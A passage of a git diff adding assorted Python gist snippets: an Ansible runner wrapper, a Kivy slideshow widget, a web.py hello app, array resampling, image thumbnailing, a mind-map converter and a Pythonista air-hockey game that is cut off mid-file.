+    def v2_runner_on_skipped(self, result):
+        self.state = 'skipped'
+        self.result = result._result
+
+    def v2_runner_on_no_hosts(self, task):
+        print('skipping: no hosts matched')
+
+    def v2_playbook_on_task_start(self, task, is_conditional):
+        print("TASK [%s]" % task.get_name().strip())
+
+    def v2_playbook_on_play_start(self, play):
+        name = play.get_name().strip()
+        if not name:
+            msg = "PLAY"
+        else:
+            msg = "PLAY [%s]" % name
+
+        print(msg)
+
+    def v2_playbook_on_stats(self, stats):
+        hosts = sorted(stats.processed.keys())
+        for h in hosts:
+            t = stats.summarize(h)
+
+            msg = "PLAY RECAP [%s] : %s %s %s %s %s" % (
+                h,
+                "ok: %s" % (t['ok']),
+                "changed: %s" % (t['changed']),
+                "unreachable: %s" % (t['unreachable']),
+                "skipped: %s" % (t['skipped']),
+                "failed: %s" % (t['failures']),
+            )
+
+        print(msg)
+
+
+class MyInventory(Inventory):
+
+    def __init__(self, resource, loader, variable_manager, host_list=[]):
+        """
+        resource的数据格式是一个列表字典，比如
+            {
+                "group1": {
+                    "hosts": [{"hostname": "10.10.10.10", "port": "22", "username": "test", "password": "mypass"}, ...],
+                    "vars": {"var1": value1, "var2": value2, ...}
+                }
+            }
+
+        如果你只传入1个列表，这默认该列表内的所有主机属于my_group组,比如
+            [{"hostname": "10.10.10.10", "port": "22", "username": "test", "password": "mypass"}, ...]
+        """
+        super(MyInventory, self).__init__(loader=loader, variable_manager=variable_manager, host_list=host_list)
+        self.resource = resource
+        self.gen_inventory()
+
+    def my_add_group(self, hosts, groupname, groupvars=None):
+        """
+        add hosts to a group
+        """
+        my_group = Group(name=groupname)
+
+        # if group variables exists, add them to group
+        if groupvars:
+            for key, value in groupvars.items():
+                my_group.set_variable(key, value)
+
+        # add hosts to group
+        for host in hosts:
+            # set connection variables
+            hostname = host.get("hostname")
+            hostip = host.get('ip', hostname)
+            hostport = host.get("port")
+            username = host.get("username")
+            password = host.get("password")
+            ssh_key = host.get("ssh_key")
+            my_host = Host(name=hostname, port=hostport)
+            my_host.set_variable('ansible_ssh_host', hostip)
+            my_host.set_variable('ansible_ssh_port', hostport)
+            my_host.set_variable('ansible_ssh_user', username)
+            my_host.set_variable('ansible_ssh_pass', password)
+            my_host.set_variable('ansible_ssh_private_key_file', ssh_key)
+
+            # set other variables
+            for key, value in host.items():
+                if key not in ["hostname", "port", "username", "password"]:
+                    my_host.set_variable(key, value)
+            # add to group
+            my_group.add_host(my_host)
+
+        self.add_group(my_group)
+
+    def gen_inventory(self):
+        """
+        add hosts to inventory.
+        """
+        if isinstance(self.resource, list):
+            self.my_add_group(self.resource, 'default_group')
+
+        elif isinstance(self.resource, dict):
+            for groupname, hosts_and_vars in self.resource.iteritems():
+                self.my_add_group(hosts_and_vars.get("hosts"), groupname, hosts_and_vars.get("vars"))
+
+
+class Options(object):
+    """
+    Options class to replace Ansible OptParser
+    """
+    def __init__(self, verbosity=None, inventory=None, listhosts=None, subset=None, module_paths=None, extra_vars=None,
+                 forks=None, ask_vault_pass=None, vault_password_files=None, new_vault_password_file=None,
+                 output_file=None, tags=None, skip_tags=None, one_line=None, tree=None, ask_sudo_pass=None, ask_su_pass=None,
+                 sudo=None, sudo_user=None, become=None, become_method=None, become_user=None, become_ask_pass=None,
+                 ask_pass=None, private_key_file=None, remote_user=None, connection=None, timeout=None, ssh_common_args=None,
+                 sftp_extra_args=None, scp_extra_args=None, ssh_extra_args=None, poll_interval=None, seconds=None, check=None,
+                 syntax=None, diff=None, force_handlers=None, flush_cache=None, listtasks=None, listtags=None, module_path=None):
+        self.verbosity = verbosity
+        self.inventory = inventory
+        self.listhosts = listhosts
+        self.subset = subset
+        self.module_paths = module_paths
+        self.extra_vars = extra_vars
+        self.forks = forks
+        self.ask_vault_pass = ask_vault_pass
+        self.vault_password_files = vault_password_files
+        self.new_vault_password_file = new_vault_password_file
+        self.output_file = output_file
+        self.tags = tags
+        self.skip_tags = skip_tags
+        self.one_line = one_line
+        self.tree = tree
+        self.ask_sudo_pass = ask_sudo_pass
+        self.ask_su_pass = ask_su_pass
+        self.sudo = sudo
+        self.sudo_user = sudo_user
+        self.become = become
+        self.become_method = become_method
+        self.become_user = become_user
+        self.become_ask_pass = become_ask_pass
+        self.ask_pass = ask_pass
+        self.private_key_file = private_key_file
+        self.remote_user = remote_user
+        self.connection = connection
+        self.timeout = timeout
+        self.ssh_common_args = ssh_common_args
+        self.sftp_extra_args = sftp_extra_args
+        self.scp_extra_args = scp_extra_args
+        self.ssh_extra_args = ssh_extra_args
+        self.poll_interval = poll_interval
+        self.seconds = seconds
+        self.check = check
+        self.syntax = syntax
+        self.diff = diff
+        self.force_handlers = force_handlers
+        self.flush_cache = flush_cache
+        self.listtasks = listtasks
+        self.listtags = listtags
+        self.module_path = module_path
+
+
+class Runner:
+
+    def __init__(self, resource):
+
+        self.options = Options()
+        self.options.connection = 'ssh'  # Need a connection type "smart" or "ssh"
+        self.options.become = True
+        self.options.become_method = 'sudo'
+        self.options.become_user = 'root'
+
+        # Become Pass Needed if not logging in as user root (do not support now)
+        passwords = {'become_pass': ''}
+
+        # Gets data from YAML/JSON files
+        self.loader = DataLoader()
+
+        # All the variables from all the various places
+        self.variable_manager = VariableManager()
+
+        # Set inventory, using most of above objects
+        self.inventory = MyInventory(resource=resource, loader=self.loader, variable_manager=self.variable_manager)
+        self.variable_manager.set_inventory(self.inventory)
+
+        # set callback object
+        self.results_callback = CallbackModule()
+
+        # playbook
+        self.tqm = TaskQueueManager(
+            inventory=self.inventory,
+            variable_manager=self.variable_manager,
+            loader=self.loader,
+            options=self.options,
+            passwords=passwords,
+            stdout_callback=self.results_callback,
+        )
+
+    def run(self, module_name='shell', module_args='',):
+        play_source = dict(
+            name='Ansible Play',
+            hosts='*',
+            gather_facts='no',
+            tasks=[
+                dict(action=dict(module=module_name, args=module_args)),
+            ]
+        )
+
+        self.play = Play().load(play_source, variable_manager=self.variable_manager, loader=self.loader)
+        try:
+            ret = self.tqm.run(self.play)
+            print(ret)
+            return ret, self.results_callback.result
+        finally:
+            self.tqm.cleanup()
+
+
+if __name__ == '__main__':
+    res = [{
+        'ssh_key': 'deepin.pem',
+        'username': 'deepin',
+        'ip': '10.10.120.114',
+        'hostname': 'payOrder-provider01',
+        'port': 16001,
+        'password': 'deepin'
+    }]
+    tqm = Runner(res)
+    ret, result = tqm.run(module_args='ls /')
+    print(json.dumps(result, indent=4))
diff --git a/hard-gists/3219308/._snippet.py b/hard-gists/3219308/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3219308/._snippet.py differ
diff --git a/hard-gists/3219308/snippet.py b/hard-gists/3219308/snippet.py
new file mode 100644
index 00000000..b298c834
--- /dev/null
+++ b/hard-gists/3219308/snippet.py
@@ -0,0 +1,84 @@
+from kivy.factory import Factory
+from kivy.animation import Animation
+from kivy.uix.widget import Widget
+from kivy.properties import *
+from kivy.graphics import *
+
+
+class SlideShow(Widget):
+    slide = StringProperty('')
+    slides = ListProperty([])
+    index = NumericProperty(0)
+    offset = NumericProperty(0)
+    
+    
+    def __init__(self, **kwargs):
+        super(SlideShow, self).__init__(**kwargs)
+        self.slide_touch = (0,0)
+        self.gfx = []
+
+    def slide_left(self, *args):
+        anim = Animation(offset=self.width, t='out_quad', d=0.5)
+        anim.start(self)
+
+
+    def slide_right(self, *args):
+        anim = Animation(offset=-self.width, t='out_quad', d=0.5)
+        anim.start(self)
+
+    def on_slides(self, *args):
+        self.canvas.clear()
+        self.gfx = []
+        x,y = -self.width,0
+        with self.canvas:
+            for s in self.slides:
+                g = Rectangle(size=self.size,pos=(x,0), source=s)
+                self.gfx.append(g)
+                x += self.width
+
+        self.slide_left()
+
+    def on_offset(self, *args):
+        if self.offset >= self.width:
+            self.offset = 0
+            self.gfx[0].pos = (self.width,0)
+            self.gfx[1].pos = (self.width,0)
+            self.gfx[-1].pos = (self.width,0)
+            self.gfx.insert(0,self.gfx.pop())
+        if self.offset <= -self.width:
+            self.offset = 0
+            self.gfx[0].pos = (self.width,0)
+            self.gfx[1].pos = (self.width,0)
+            self.gfx[-1].pos = (self.width,0)
+            self.gfx.append(self.gfx.pop(0))
+        self.gfx[0].pos = (-self.width+self.offset, 0)
+        self.gfx[1].pos = (self.offset, 0)
+        self.gfx[2].pos = (self.width + self.offset, 0)
+        self.slide = self.gfx[1].source
+
+    def on_touch_down(self, touch):
+        self.slide_touch = (touch.uid, touch.x)
+        return True
+
+    def on_touch_move(self, touch):
+        tuid,x = self.slide_touch
+        if touch.uid == tuid:
+            self.offset += touch.dx
+            self.slide_touch = (touch.uid, touch.x)
+        self.canvas.ask_update()
+        return True
+
+    def on_touch_up(self, touch):
+        tuid,x = self.slide_touch
+        if touch.uid == tuid:
+            target = 0
+            edge = self.width * 0.3
+            if self.offset < - edge: 
+                target = -self.width
+            if self.offset > edge:
+                target = self.width
+            anim = Animation(offset=target, t='out_quad', d=0.5)
+            anim.start(self)
+        return True
+
+Factory.register('SlideShow', SlideShow)
\ No newline at end of file
diff --git a/hard-gists/3227267/._snippet.py b/hard-gists/3227267/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3227267/._snippet.py differ
diff --git a/hard-gists/3227267/snippet.py b/hard-gists/3227267/snippet.py
new file mode 100644
index 00000000..cc87d5a8
--- /dev/null
+++ b/hard-gists/3227267/snippet.py
@@ -0,0 +1,15 @@
+import web
+        
+urls = (
+    '/(.*)', 'hello'
+)
+app = web.application(urls, globals())
+
+class hello:        
+    def GET(self, name):
+        if not name: 
+            name = 'World'
+        return 'Hello, ' + name + '!'
+
+if __name__ == "__main__":
+    app.run()
\ No newline at end of file
diff --git a/hard-gists/3231186/._snippet.py b/hard-gists/3231186/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3231186/._snippet.py differ
diff --git a/hard-gists/3231186/snippet.py b/hard-gists/3231186/snippet.py
new file mode 100644
index 00000000..df07ff9f
--- /dev/null
+++ b/hard-gists/3231186/snippet.py
@@ -0,0 +1,105 @@
+import numpy as n
+import scipy.interpolate
+import scipy.ndimage
+
+def congrid(a, newdims, method='linear', centre=False, minusone=False):
+    '''Arbitrary resampling of source array to new dimension sizes.
+    Currently only supports maintaining the same number of dimensions.
+    To use 1-D arrays, first promote them to shape (x,1).
+    
+    Uses the same parameters and creates the same co-ordinate lookup points
+    as IDL''s congrid routine, which apparently originally came from a VAX/VMS
+    routine of the same name.
+
+    method:
+    neighbour - closest value from original data
+    nearest and linear - uses n x 1-D interpolations using
+                         scipy.interpolate.interp1d
+    (see Numerical Recipes for validity of use of n 1-D interpolations)
+    spline - uses ndimage.map_coordinates
+
+    centre:
+    True - interpolation points are at the centres of the bins
+    False - points are at the front edge of the bin
+
+    minusone:
+    For example- inarray.shape = (i,j) & new dimensions = (x,y)
+    False - inarray is resampled by factors of (i/x) * (j/y)
+    True - inarray is resampled by(i-1)/(x-1) * (j-1)/(y-1)
+    This prevents extrapolation one element beyond bounds of input array.
+    '''
+    if not a.dtype in [n.float64, n.float32]:
+        a = n.cast[float](a)
+
+    m1 = n.cast[int](minusone)
+    ofs = n.cast[int](centre) * 0.5
+    old = n.array( a.shape )
+    ndims = len( a.shape )
+    if len( newdims ) != ndims:
+        print "[congrid] dimensions error. " \
+              "This routine currently only support " \
+              "rebinning to the same number of dimensions."
+        return None
+    newdims = n.asarray( newdims, dtype=float )
+    dimlist = []
+
+    if method == 'neighbour':
+        for i in range( ndims ):
+            base = n.indices(newdims)[i]
+            dimlist.append( (old[i] - m1) / (newdims[i] - m1) \
+                            * (base + ofs) - ofs )
+        cd = n.array( dimlist ).round().astype(int)
+        newa = a[list( cd )]
+        return newa
+
+    elif method in ['nearest','linear']:
+        # calculate new dims
+        for i in range( ndims ):
+            base = n.arange( newdims[i] )
+            dimlist.append( (old[i] - m1) / (newdims[i] - m1) \
+                            * (base + ofs) - ofs )
+        # specify old dims
+        olddims = [n.arange(i, dtype = n.float) for i in list( a.shape )]
+
+        # first interpolation - for ndims = any
+        mint = scipy.interpolate.interp1d( olddims[-1], a, kind=method )
+        newa = mint( dimlist[-1] )
+
+        trorder = [ndims - 1] + range( ndims - 1 )
+        for i in range( ndims - 2, -1, -1 ):
+            newa = newa.transpose( trorder )
+
+            mint = scipy.interpolate.interp1d( olddims[i], newa, kind=method )
+            newa = mint( dimlist[i] )
+
+        if ndims > 1:
+            # need one more transpose to return to original dimensions
+            newa = newa.transpose( trorder )
+
+        return newa
+    elif method in ['spline']:
+        oslices = [ slice(0,j) for j in old ]
+        oldcoords = n.ogrid[oslices]
+        nslices = [ slice(0,j) for j in list(newdims) ]
+        newcoords = n.mgrid[nslices]
+
+        newcoords_dims = range(n.rank(newcoords))
+        #make first index last
+        newcoords_dims.append(newcoords_dims.pop(0))
+        newcoords_tr = newcoords.transpose(newcoords_dims)
+        # makes a view that affects newcoords
+
+        newcoords_tr += ofs
+
+        deltas = (n.asarray(old) - m1) / (newdims - m1)
+        newcoords_tr *= deltas
+
+        newcoords_tr -= ofs
+
+        newa = scipy.ndimage.map_coordinates(a, newcoords)
+        return newa
+    else:
+        print "Congrid error: Unrecognized interpolation type.\n", \
+              "Currently only \'neighbour\', \'nearest\',\'linear\',", \
+              "and \'spline\' are supported."
+        return None
\ No newline at end of file
diff --git a/hard-gists/324968/._snippet.py b/hard-gists/324968/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/324968/._snippet.py differ
diff --git a/hard-gists/324968/snippet.py b/hard-gists/324968/snippet.py
new file mode 100644
index 00000000..42e5048e
--- /dev/null
+++ b/hard-gists/324968/snippet.py
@@ -0,0 +1,14 @@
+import Image
+
+def is_the_same(base, test_image):
+  for i in range(len(base)):
+      if (base[i] - test_image[i]) != 0:
+          return False
+  return True
+    
+base = Image.open('base.png').getdata()
+bad = Image.open('bad.png').getdata()
+good = Image.open('good.png').getdata()
+
+print is_the_same(base, bad) # returns True
+print is_the_same(base, good) # returns False
diff --git a/hard-gists/32561f20db62886bcf6af5ce98087ab9/._snippet.py b/hard-gists/32561f20db62886bcf6af5ce98087ab9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/32561f20db62886bcf6af5ce98087ab9/._snippet.py differ
diff --git a/hard-gists/32561f20db62886bcf6af5ce98087ab9/snippet.py b/hard-gists/32561f20db62886bcf6af5ce98087ab9/snippet.py
new file mode 100644
index 00000000..12230e4c
--- /dev/null
+++ b/hard-gists/32561f20db62886bcf6af5ce98087ab9/snippet.py
@@ -0,0 +1,103 @@
+#!/usr/bin/env python2.7
+# encoding=utf8
+#
+# Copyright 2007 Google Inc.
+# Copyright 2016 Raphaël Doursenaud
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+"""Tool for checking app.yaml skip-files regexes without deploying
+
+Based on actual SDK code.
+"""
+import argparse
+import logging
+import os
+import re
+
+import yaml
+
+logging.basicConfig()
+logger = logging.getLogger()
+logger.setLevel(logging.WARNING)
+
+parser = argparse.ArgumentParser(description="List skipped files according to app.yaml rules")
+parser.add_argument("basepath", help="app.yaml path")
+parser.add_argument("-r", "--reverse", help="Display *not* skipped files (aka uploaded files)", action="store_true")
+args = parser.parse_args()
+
+
+def file_iterator(base, skip_files, no_print=False, separator=os.path.sep):
+    """Walks a directory tree, returning all the files. Follows symlinks.
+
+    Args:
+      base: The base path to search for files under.
+      skip_files: A regular expression object for files/directories to skip.
+      no_print: Don't print the skipped files and directories
+      separator: Path separator used by the running system's platform.
+
+    Yields:
+      Paths of files found, relative to base.
+    """
+    dirs = ['']
+    while dirs:
+        current_dir = dirs.pop()
+        entries = set(os.listdir(os.path.join(base, current_dir)))
+        logger.debug(entries)
+        for entry in sorted(entries):
+            name = os.path.join(current_dir, entry)
+            fullname = os.path.join(base, name)
+
+            if separator == '\\':
+                name = name.replace('\\', '/')
+
+            if os.path.isfile(fullname):
+                if skip_files.match(name):
+                    logger.info('Ignoring file \'%s\': File matches ignore regex.', name)
+                    if not no_print:
+                        print name
+                else:
+                    yield name
+            elif os.path.isdir(fullname):
+                if skip_files.match(name):
+                    logger.info('Ignoring directory \'%s\': Directory matches ignore regex.', name)
+                    if not no_print:
+                        print name
+                else:
+                    dirs.append(name)
+
+
+def main():
+    with open('app.yaml') as appyamlfile:
+        appyaml = yaml.load(appyamlfile)
+        logger.debug(appyaml)
+
+    combined = '('
+    for expression in appyaml['skip_files']:
+        combined += expression + '|'
+    combined = combined[:-1]
+    combined += ')'
+    logger.debug(combined)
+
+    skip_files = re.compile(combined)
+
+    files = file_iterator(args.basepath, skip_files, no_print=args.reverse)
+
+    upload_files = list(files)
+    if args.reverse:
+        for name in upload_files:
+            print name
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/326462/._snippet.py b/hard-gists/326462/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/326462/._snippet.py differ
diff --git a/hard-gists/326462/snippet.py b/hard-gists/326462/snippet.py
new file mode 100644
index 00000000..46bd6e7b
--- /dev/null
+++ b/hard-gists/326462/snippet.py
@@ -0,0 +1,66 @@
+
+from PIL import Image
+
+class ThumbNail(object):
+
+    """
+    init function for base Class
+    Parameters
+    ------------
+    targetFile:
+        the original file (string)
+    newFile
+        thumbnail file that will be created (string)
+    sizes:
+        width and height of thumbnail. (tuple)
+    ratio:
+        if it's False, thumbnail will be created as exactly
+        with your sizes. if you pass it as True, thumbnail sizes will be
+        preserve original file's height/width ratio.
+        default value of this parameter is "False".
+
+    """
+    def __init__(self, targetFile, newFile, sizes, ratio = False):
+        self.targetFile = targetFile
+        self.newFile    = newFile
+        self.sizes      = sizes
+        self.ratio      = ratio
+
+        if self.ratio == True:
+            self.thumbnailWithRatio()
+        else:
+            self.thumbnail()
+
+    def thumbnail(self):
+
+        self.im = Image.open(self.targetFile)
+        orig_width, orig_height   = self.im.size
+        thumb_width, thumb_height = self.sizes
+        orig_ratio, thumb_ratio   = float(orig_width) / float(orig_height), float(thumb_width) / float(thumb_height)
+
+        if thumb_ratio < orig_ratio:
+            crop_height = orig_height
+            crop_width  = crop_height * thumb_ratio
+            x_offset = float(orig_width - crop_width) / 2
+            y_offset = 0
+        else:
+            crop_width = orig_width
+            crop_height = crop_width / thumb_ratio
+            x_offset = 0
+            y_offset = float(orig_height - crop_height) / 3
+
+        # cropping process
+        self.im = self.im.crop((x_offset, y_offset, x_offset+int(crop_width), y_offset+int(crop_height)))
+        self.im = self.im.resize((thumb_width, thumb_height), Image.ANTIALIAS)
+        self.im.save(self.newFile)
+
+    def thumbnailWithRatio(self):
+        self.im = Image.open(self.targetFile)
+        self.im.thumbnail(self.sizes, Image.ANTIALIAS)
+        self.im.save(self.newFile)
+
+
+import glob
+for item in glob.glob("*.jpg"):
+    ThumbNail(item, item + "-o.jpg", (600, 800), True)
+    ThumbNail(item, item + "-p.jpg", (100, 100), False)
diff --git a/hard-gists/3264921/._snippet.py b/hard-gists/3264921/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3264921/._snippet.py differ
diff --git a/hard-gists/3264921/snippet.py b/hard-gists/3264921/snippet.py
new file mode 100644
index 00000000..b80270a6
--- /dev/null
+++ b/hard-gists/3264921/snippet.py
@@ -0,0 +1,131 @@
+#!/usr/bin/python
+#
+# mm2fm - Mind Manager to FreeMind file converter
+#
+# Copyright (C) 2007 David Symons <david.symons@liberatedcomputing.net>
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# Dependencies: python, python-libxml2, python-libxslt1
+#
+# Instructions: Make the file executable and put it somewhere in your PATH.
+# Also see 'mm2fm --help'.
+
+import libxml2
+import libxslt
+import os.path
+import sys
+import zipfile
+
+version = '0.1'
+usage = """
+Usage: mm2fm file [file ...]
+
+For more details see 'mm2fm --help'
+"""
+
+if len(sys.argv) < 2:
+  print usage
+  sys.exit()
+
+elif sys.argv[1] == "--help":
+  print usage
+  print """Converts a file or group of files to Freemind format. Creates new files using the existing filename but with a .mm extension.
+
+Examples: mm2fm MyMap.mmap
+          mm2fm MyMap1.mmap MyMap2.mmap
+          mm2fm *.mmap
+"""
+  sys.exit()
+
+elif sys.argv[1] == "--version":
+  print """
+Version: %s
+""" % version
+  sys.exit()
+
+# The XSLT stylesheet. It was added to the Freemind wiki[1] by unnamed
+# contributor. Many thanks and kudos to him/her as this really is the magic in
+# this program.
+#
+# [1] http://freemind.sourceforge.net/wiki/index.php/Import_and_export_to_other_applications
+#
+stylesheet = """<?xml version="1.0" encoding="iso-8859-1"?>
+<xsl:stylesheet version="1.0"
+    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+    xmlns:ap="http://schemas.mindjet.com/MindManager/Application/2003"
+>
+      <xsl:output
+        method="xml"
+      version="1.0"
+      encoding="iso-8859-1"
+      omit-xml-declaration="yes"
+      indent="yes"
+      /> 
+  <xsl:template match="/">
+    <xsl:element name="map">
+      <xsl:attribute name="version">0.7.1</xsl:attribute>
+      <xsl:apply-templates select="ap:Map/ap:OneTopic/ap:Topic" />
+    </xsl:element>
+  </xsl:template>
+  <xsl:template match="ap:Topic">
+    <xsl:element name="node">
+      <xsl:attribute name="TEXT">
+        <xsl:value-of select="ap:Text/@PlainText" />
+      </xsl:attribute> <xsl:if test="ap:Text/ap:Font/@Color">
+        <xsl:attribute name="COLOR">
+          <xsl:value-of select="concat('#', substring(ap:Text/ap:Font/@Color, 3, 6))" />
+        </xsl:attribute>
+      </xsl:if>
+      <xsl:variable name="OId" select="@OId" />
+      <xsl:variable name="relation" select="/ap:Map/ap:Relationships/ap:Relationship[ap:ConnectionGroup[@Index=0]/ap:Connection/ap:ObjectReference/@OIdRef=$OId]" />
+      <xsl:if test="$relation">
+        <xsl:variable name="toId" select="$relation/ap:ConnectionGroup[@Index=1]/ap:Connection/ap:ObjectReference/@OIdRef" />
+        <xsl:element name="arrowlink">
+          <xsl:attribute name="ENDARROW">Default</xsl:attribute>
+          <xsl:attribute name="DESTINATION">
+            <xsl:value-of select="$relation/ap:ConnectionGroup[@Index=1]/ap:Connection/ap:ObjectReference/@OIdRef" />
+          </xsl:attribute>
+          <xsl:attribute name="STARTARROW">None</xsl:attribute>
+        </xsl:element>
+      </xsl:if>
+      <xsl:variable name="toId" select="/ap:Map/ap:Relationships/ap:Relationship/ap:ConnectionGroup[@Index=1]/ap:Connection/ap:ObjectReference[@OIdRef=$OId]/@OIdRef" />
+      <xsl:if test="$toId">
+        <xsl:attribute name="ID">
+          <xsl:value-of select="$toId" />
+        </xsl:attribute>
+      </xsl:if>
+      <xsl:apply-templates select="ap:SubTopics"/>
+    </xsl:element>
+  </xsl:template>
+</xsl:stylesheet>
+"""
+
+for filename in sys.argv[1:]:
+  styledoc = libxml2.parseDoc(stylesheet)
+  style = libxslt.parseStylesheetDoc(styledoc)
+  f = open( filename, 'r' )
+  z = zipfile.ZipFile( f )
+  content = z.read( "Document.xml" )
+  f.close()
+  doc = libxml2.parseDoc( content )
+  result = style.applyStylesheet(doc, None)
+  str = style.saveResultToString(result)
+  style.freeStylesheet()
+  doc.freeDoc()
+  result.freeDoc()
+  outfile = open( os.path.splitext( filename )[0] + '.mm', 'w' )
+  outfile.write( str )
+  outfile.close()
\ No newline at end of file
diff --git a/hard-gists/3271073/._snippet.py b/hard-gists/3271073/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3271073/._snippet.py differ
diff --git a/hard-gists/3271073/snippet.py b/hard-gists/3271073/snippet.py
new file mode 100644
index 00000000..5343ee91
--- /dev/null
+++ b/hard-gists/3271073/snippet.py
@@ -0,0 +1,240 @@
+# Hockey
+#
+# A air hockey game for two players. First to
+# seven wins.
+# Most of the game is drawn with the scene
+# module. Goal and winner messages are animated
+# with layers. 
+
+from scene import *
+from sound import *
+from copy import copy
+
+
+class Player (object):
+	def __init__(self, name, color):
+		self.color = color
+		self.score = 0
+		self.name = name
+
+	def __str__(self):
+		return self.name
+
+
+class Puck (object):
+	def __init__(self, pos, scene):
+		self.vector = Vector3(0, 0, 0)
+		self.pos = pos
+
+	def reverse_vector(self):
+		v = self.vector
+		self.vector = Vector3(-v.x, -v.y, 0)
+
+
+class HockeyScene (Scene):
+	def setup(self):
+		self.left_player = Player("Red Player", Color(1, 0, 0))
+		self.right_player = Player("Blue Player", Color(0, 0, 1))
+		self.players = (self.left_player, self.right_player)
+
+		for s in ('Drums_06', 'Woosh_1', 'Powerup_2'):
+			load_effect(s)
+
+		center = self.size.w / 2
+		middle = self.size.h / 2
+		
+		# goal height
+		gh = self.size.h / 4
+		
+		self.puck_radius = gh / 2.5
+		self.puck = self.centered_puck()
+		# the last time the puck was hit. Used to animate its slow down
+		self.puck_start_t = 0
+		pr = self.puck_radius
+
+		self.line_width = self.puck_radius / 6
+		lw = self.line_width
+		
+		self.red_line = Rect(center - lw / 2, 0, lw, self.size.h)
+		
+		self.red_circle = Rect(w=gh, h=gh)
+		self.red_circle.center(self.bounds.center())
+		
+		self.left_goal = Rect(w=gh, h=gh)
+		self.right_goal = Rect(w=gh, h=gh)
+		self.left_goal.center(0, middle)
+		self.right_goal.center(self.size.w, middle)
+
+		# when someone reaches 7 goals, save them to show a message
+		self.winner = None 
+
+
+	def score_goal(self, player):
+		player.score += 1
+
+		self.puck = self.centered_puck()
+
+		for p in self.players:
+			if p.score >= 7:
+				self.winner = p
+				break
+
+		overlay = Layer(self.bounds)
+		def hide_overlay():
+			overlay.animate('alpha', 0.0, 1, completion=lambda: overlay.remove_layer())
+
+		if self.winner:
+			message = "%s Wins" % (self.winner)
+			on_completion = None
+			self.hide_overlay = hide_overlay
+		else: 
+			message = "Goal!"
+			on_completion = hide_overlay
+			# restart the puck on the other player's side
+			if player == self.left_player:
+				self.puck.pos.x += self.size.w / 4 + self.puck_radius
+			else:
+				self.puck.pos.x -= self.size.w / 4 + self.puck_radius
+
+		size = self.puck_radius * 1.5
+		text_layer = TextLayer(message, 'Futura', size)
+		text_layer.frame.center(self.bounds.center())
+		text_layer.frame.y += self.size.h / 4
+		text_layer.animate('scale_x', 1.3, 0.3, autoreverse=True)
+		text_layer.animate('scale_y', 1.3, 0.3, autoreverse=True)
+		overlay.add_layer(text_layer)
+
+		start_color, end_color = copy(player.color), copy(player.color)
+		start_color.a = 0
+		end_color.a = .5
+		overlay.background = start_color
+		overlay.animate('background', end_color, .7, completion=on_completion)
+		self.add_layer(overlay)
+		play_effect('Woosh_1')
+
+
+	def centered_puck(self):
+		pos = Rect(w=self.puck_radius, h=self.puck_radius)
+		pos.center(self.bounds.center())
+		return Puck(pos, self)
+
+
+	def move_puck(self):
+		puck = self.puck
+
+		ease_x = (self.t - self.puck_start_t) / 4.0
+		ease = max(0, 1 - curve_ease_out(ease_x))
+
+		puck.pos.x += puck.vector.x * ease
+		puck.pos.y += puck.vector.y * ease
+
+		if puck.pos.right() > self.size.w and not puck.pos.intersects(self.right_goal):
+			puck.vector.x *= -1
+			play_effect('Drums_06')
+			puck.pos.x = min(self.size.w - puck.pos.w, puck.pos.x)
+
+		if puck.pos.left() > self.size.w:
+			self.score_goal(self.left_player)
+			return
+
+		if puck.pos.left() < 0 and not puck.pos.intersects(self.left_goal):
+			puck.vector.x *= -1
+			play_effect('Drums_06')
+			puck.pos.x = max(0, puck.pos.x)
+
+		if puck.pos.right() < 0:
+			self.score_goal(self.right_player)
+			return
+
+		if puck.pos.top() > self.size.h or puck.pos.bottom() < 0: 
+			puck.vector.y *= -1
+			play_effect('Drums_06')
+			puck.pos.y = max(0, puck.pos.y)
+			puck.pos.y = min(self.size.h - puck.pos.h, puck.pos.y)
+
+
+	def draw(self):
+		stroke_weight(self.line_width)
+		background(1, 1, 1)
+
+		# red lines on ice in middle
+		stroke(1.00, 0.40, 0.40)
+		fill(1.00, 0.40, 0.40)
+		rect(*self.red_line.as_tuple())
+		fill(1, 1, 1)
+		ellipse(*self.red_circle.as_tuple())
+
+		# red goal markers
+		for goal in (self.left_goal, self.right_goal):
+			rect(*goal.as_tuple())
+
+		for touch in self.touches.values():
+			self.handle_touch(touch)
+
+		# black puck
+		no_stroke()
+		fill(0, 0, 0)
+		ellipse(*self.puck.pos.as_tuple())
+
+		self.draw_scores()
+
+		self.move_puck()
+
+		if self.root_layer:
+			self.root_layer.update(self.dt)
+			self.root_layer.draw()
+
+		if self.winner is not None:
+			c = Rect()
+			c.center(self.bounds.center())
+			tint(1, 1, 1)
+			message = "Tap to Play Again"
+			y_offset = self.size.h / 4
+			size = self.puck_radius
+			text(message, x=c.x, y=c.y-y_offset, font_size=size, font_name='Futura')
+
+
+	def draw_scores(self):
+		for p, x in zip(self.players, (50, self.size.w - 50)):
+			tint(*p.color.as_tuple())
+			text(str(p.score), x=x, y=self.size.h- 50, font_size=32, font_name='Futura')
+
+
